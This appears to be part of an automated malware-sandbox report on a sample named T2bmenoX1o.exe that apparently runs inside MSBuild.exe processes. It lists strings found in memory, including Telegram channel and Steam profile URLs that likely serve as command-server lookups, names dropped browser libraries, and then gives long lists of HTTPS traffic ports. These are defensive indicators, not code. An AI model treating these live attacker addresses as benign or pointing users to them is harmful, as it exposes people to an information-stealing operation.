Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2216781239.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2217014896.0000000000B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/C(l2
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: MSBuild.exe, 00000009.00000002.2216781239.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2217014896.0000000000B35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: T2bmenoX1o.exe, T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199786602107
Source: T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199786602107g0b4cMozilla/5.0
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: MSBuild.exe, 00000009.00000002.2217014896.0000000000B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: HDAKJD.1.dr	String found in binary or memory: https://support.mozilla.org
Source: HDAKJD.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HDAKJD.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp, IJKJDA.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: IJKJDA.1.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe
Source: MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmp, IJKJDA.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: IJKJDA.1.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: T2bmenoX1o.exe, T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/lpnjoke
Source: T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/lpnjokeg0b4cMozilla/5.0
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/maslengdsa
Source: T2bmenoX1o.exe, 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/maslengdsafdmskfj3efskoahttps://steamcommunity.com/profiles/76561199786602107g0b4cMozil
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: MSBuild.exe, 00000001.00000002.2239224281.0000000020578000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2241622984.00000000264E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2251682068.000000003E2AE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2246850104.00000000323C1000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: HJEHIJ.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.000000000137A000.00000004.00000020.00020000.00000000.sdmp, KJDGDB.1.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: HJEHIJ.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: HDAKJD.1.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HDAKJD.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HDAKJD.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/xe
Source: MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: HDAKJD.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: HDAKJD.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000001.00000002.2230838575.0000000019E6D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: HDAKJD.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 51342 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51561 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51363 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51479 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51427
Source: unknown	Network traffic detected: HTTP traffic on port 51488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51428
Source: unknown	Network traffic detected: HTTP traffic on port 51465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51304
Source: unknown	Network traffic detected: HTTP traffic on port 51299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51425
Source: unknown	Network traffic detected: HTTP traffic on port 51442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51429
Source: unknown	Network traffic detected: HTTP traffic on port 51327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51309
Source: unknown	Network traffic detected: HTTP traffic on port 51362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51541
Source: unknown	Network traffic detected: HTTP traffic on port 51304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51422
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51543
Source: unknown	Network traffic detected: HTTP traffic on port 51545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51439
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51319
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51430
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51310
Source: unknown	Network traffic detected: HTTP traffic on port 51374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51313
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51433
Source: unknown	Network traffic detected: HTTP traffic on port 51527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51554
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51449
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51563
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51560
Source: unknown	Network traffic detected: HTTP traffic on port 51419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51324
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51445
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51322
Source: unknown	Network traffic detected: HTTP traffic on port 51430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51323
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51565
Source: unknown	Network traffic detected: HTTP traffic on port 51453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51339
Source: unknown	Network traffic detected: HTTP traffic on port 51464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51337
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51338
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51459
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51450
Source: unknown	Network traffic detected: HTTP traffic on port 51303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51451
Source: unknown	Network traffic detected: HTTP traffic on port 51504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51454
Source: unknown	Network traffic detected: HTTP traffic on port 51546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51455
Source: unknown	Network traffic detected: HTTP traffic on port 51373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51460
Source: unknown	Network traffic detected: HTTP traffic on port 51339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51506
Source: unknown	Network traffic detected: HTTP traffic on port 51337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51507
Source: unknown	Network traffic detected: HTTP traffic on port 51503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51500
Source: unknown	Network traffic detected: HTTP traffic on port 51526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51501
Source: unknown	Network traffic detected: HTTP traffic on port 51535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51513
Source: unknown	Network traffic detected: HTTP traffic on port 51305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51519
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51517
Source: unknown	Network traffic detected: HTTP traffic on port 51361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51518
Source: unknown	Network traffic detected: HTTP traffic on port 51326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51510
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51405
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51526
Source: unknown	Network traffic detected: HTTP traffic on port 51547 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51527
Source: unknown	Network traffic detected: HTTP traffic on port 51383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51403
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51525
Source: unknown	Network traffic detected: HTTP traffic on port 51360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51407
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51520
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51400
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51521
Source: unknown	Network traffic detected: HTTP traffic on port 51476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51514 -> 443
